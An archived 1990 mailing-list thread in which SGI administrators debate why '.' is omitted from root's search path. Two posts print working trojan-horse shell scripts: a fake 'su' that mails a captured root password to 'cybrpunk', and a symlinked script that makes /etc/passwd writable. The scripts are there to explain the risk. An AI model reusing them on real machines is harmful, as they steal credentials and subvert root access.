Claude.P.Cantin@NRC.CA (04/12/90)
We recently received a few SGI machines (a PI 4D25G, a 4D/240 and a
4D/280 Power Series). One of the first things I have noticed is that
when running a program in the current directory, one has to type
./program
I then looked in the /.cshrc file and found the following:
#The absence of '.' in this path is quite necessary.
#It closes an otherwise bad security breach.
Can someone explain to me WHICH security breach it closes??? What could
(potentially) happen if I add the '.' at the beginning of the path???
Did most of you leave it the way it is??? Or did you add it to your path??
Thank you for your replies,
Claude Cantin (CANTIN@NRCVM01.BITNET)shaginaw@NEUMANN.SQUIBB.COM (04/12/90)
Richard replied directly to me when (I believe) he wanted to reply to the
list...
----------------------------Original message----------------------------
Our SGI machines are running IRIX 3.2. We see the same problem
reported by Claude Cantin. All system cshrc files have no '.'
specified in the path. Nevertheless, machines loaded with 3.2 shipped
before late February have '.' in their $path (where does it come from?)
while 3.2 shipped since late February must have '.' added by the user.
I'd like to know:
(1) Why leaving out '.' closes a security breach that couldn't be closed
another way.
(2) Where do earlier versions of 3.2 set a path WITH '.'; it's NOT in
a system cshrc file.
SGI couldn't help with these when I called it in.
-- Rich
--
-------------------------------------------------------------------------------
Squibb Institute for Medical Research -- Bristol-Myers Squibb Company
Richard J. Shaginaw Internet Address: shaginaw@squibb.com
Principal Systems Engineer Telephone: 609-921-5184
Macromolecular Modeling Department FAX: 609-683-6607
===============================================================================rgb@PHY.DUKE.EDU ("Robert G. Brown") (04/12/90)
That one is an easy one. IF you leave . in your path as root AND if a clever, malicious user exists on your system THEN they can, in principle, do something like create "Trojan Horse" versions of things like su or ls in their home directories. IF you should ever be (as root) in their home directories and use one of these commands, THEN they can do anything at all they wish with root privileges, including replacing the real su command and/or login command with ones that mail copies of the user passwd's every times someone logs in to the malefactor. It is actually sufficient to simply put the . LAST in the root path, at least for a "low security" system where you "trust" most of your users. In that way, you will always execute the real binary first even if a user has left a TH. They can always leave mistyped traps (sl for ls, us for su) but their odds of success go way down and besides, in a department (as opposed to a "public" facility) who is going to try this anyway. Along the same lines, members of wheel should NEVER su to root anywhere except in a "neutral" directory (like /usr/bin or /etc) where a user would already have to have been root to leave a TH or in their own home directory. This is because . is traditionally the first directory searched on a users path, and if Joe Administrator, as himself, tries to su to root in Harry Hacker's home directory then he really will search Harry's directory for a version of su first. I personally used to leave it last, but now I have removed it on general principles. It isn't that big a deal to type ./command instead of command on the few occasions I execute a script or binary not already on the SAFE root path. Dr. Robert G. Brown System Administrator Duke University Physics Dept. Durham, NC 27706 (919)-684-8130 Fax (24hr) (919)-684-8101 rgb@phy.duke.edu rgb@physics.phy.duke.edu
blbates@AERO4.LARC.NASA.GOV ("Brent L. Bates AAD/TAB MS361 x42854") (04/12/90)
Personally, I find the practice of NOT having '.' in your path,
extremely paranoid. It assumes you can't trust any of the users on
that machine. The "security hole" is that if you are in someone elses
directory and you execute what you think is a system command and that
person has a command by that name, they could cause you to do anything
they want and you wouldn't know about it. You could always make it the
last place to look by putting it at the end of the path.
If you can't trust the people you work with, who can you trust?!
--
Brent L. Bates
NASA-Langley Research Center
M.S. 361
Hampton, Virginia 23665-5225
(804) 864-2854
E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.govdoelz@urz.unibas.ch (Reinhard Doelz) (04/12/90)
The *root* may not use it, otherwise it's fine. Imagine you're su'ing around and some weird guy aliased ls to rm. If you're in his dir as root, you might easily do a strange 'ls' because the . is always executed first before looking in others like /bin or /usr/bin. The . in root's path, therefore, is ugly, but elsewhere you're biting your own neck. - Reinhard
moss@BRL.MIL ("Gary S. Moss", VLD/VMB) (04/12/90)
< It is actually sufficient to simply put the . LAST in the root < path, at least for a "low security" system where you "trust" < most of your users. In that way, you will always execute the < real binary first even if a user has left a TH. They can always < leave mistyped traps (sl for ls, us for su) but their odds of < success go way down... It is not necessary to misspell the TH, it is actually very common for a privileged user to attempt to execute a binary that is not in the default root search path, it happens all of the time. < and besides, in a department (as opposed to a "public" facility) who < is going to try this anyway. If you trust *everybody* on your system, then you probably aren't reading this, but otherwise, considering the potential harm, why risk it? How often do you need to search the current directory? Personally, I leave "." out of my normal search path, and I can type "./" *real* fast.
merritt@iris613.gsfc.nasa.gov (John H Merritt) (04/13/90)
In article <283:doelz@urz.unibas.ch> doelz@urz.unibas.ch (Reinhard Doelz) writes: > > >The *root* may not use it, otherwise it's fine. Imagine you're su'ing around >and some weird guy aliased ls to rm. ^^^^^^^ <-- he means, has a command or program named ... More concretely it prevents some one gaining root capabilities through a trojan horse. Consider the following program, from UNIX Today April 2, 1990. Chump=$1 stty -echo echo "Password:\c" read ChumpsPwd echo "" stty echo echo $Chump\'s passwd is $ChumpsPwd \ | mail cybrpunk sleep 1 echo "su:Sorry" rm su This program is placed in every public writable directory and eventually someone will execute it; it reports failure the first time and the user thinks he typed the wrong password and never knows he just gave the root password away. Another popular trojan horse is 'ls'. If you must have '.' in the path, it should be last. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John H. Merritt # Yesterday I knew nothing, Applied Research Corporation # Today I know that. merritt@iris613.gsfc.nasa.gov #
mitch@sgi.com (Tom Mitchell) (04/13/90)
In article <9004121536.AA19375@physics.phy.duke.edu> rgb@PHY.DUKE.EDU ("Robert G. Brown") writes:
* That one is an easy one. IF you leave . in your path as root AND
* if a clever
Lets twist this a bit. A 'programmer' called a couple weeks
back and could not get his program to run. We tried 101
different things and went round and round. Then out of the
blue he said he called his program -- Yes -- he realy did
call it 'test.c'.
The bottom line problem was his path found /bin/test time after time.
His edits and compiles were not the problem. His search path was.
--
Thomas P. Mitchell -- mitch@sgi.com
"All things in moderation; including moderation."andrew@alice.UUCP (Andrew Hume) (04/14/90)
research unix has su in /etc, not bin, and as /etc is not normally in $PATH, you get into the habit of saying /etc/su real fast. as for system v style machines (like sgi), su is a botch in that it is in /bin but i always invoke it directly as /bin/su. it seems this is the only program that people quote as a real problem; always invoking it as a full path seems preferable to not having . in $PATH.
vjs@rhyolite.wpd.sgi.com (Vernon Schryver) (04/15/90)
In article <10704@alice.UUCP>, andrew@alice.UUCP (Andrew Hume) writes: > > it seems [su] is the only program that people quote as a real problem; > always invoking it as a full path seems preferable to not having . in $PATH. Consider the following, adapted from John Merritt's example: #!/bin/sh if /bin/test -w /etc/passwd; then echo "the chump bought $0" | /bin/mail cybrpunk fi /bin/chmod +w /etc/passwd 2>/dev/null /bin/rm -f /usr/tmp/.crack ./rm ./test ./ls ./pwd ./who ./df ./su ./mail ./echo exec $0 $* Put this in /usr/tmp/.crack, and make symbolic links to it in every writable directory with names test, rm, ls, pwd, who, df, su, mail, ps, echo and anything else you think the victum is likely to use. It is not quite as elegant as the su password catcher, but it is more effective because it is more likely to be used. A vendor whose name I've forgotten, offered a cash reward or something on a trade show floor a few years ago to anyone who could break into their super-duper secure system, and then refused to pay when someone successfully used this technique. Many of us hate typing passwords. In the next release of IRIX, the su command checks /.rhosts for lines like "localhost username" using the standard BSD style ruserok() code. This allows me to put "localhost vjs" in my workstation's /.rhosts file, and never have to type its root password. It is a security risk, since if you know my password, you effectively know my machine's root password, but the security risk of using this feature is less than any other use of /.rhosts. The appropriate number of locks and guards varies. If you are on a small private network, and if any modems or other external connections are sufficently well guarded, you may choose to have minimal security hassles. You may not have any root passwords. You are free to put "." in your path if the risk too small to be balanced by the hassle. Vernon Schryver Silicon Graphics vjs@sgi.com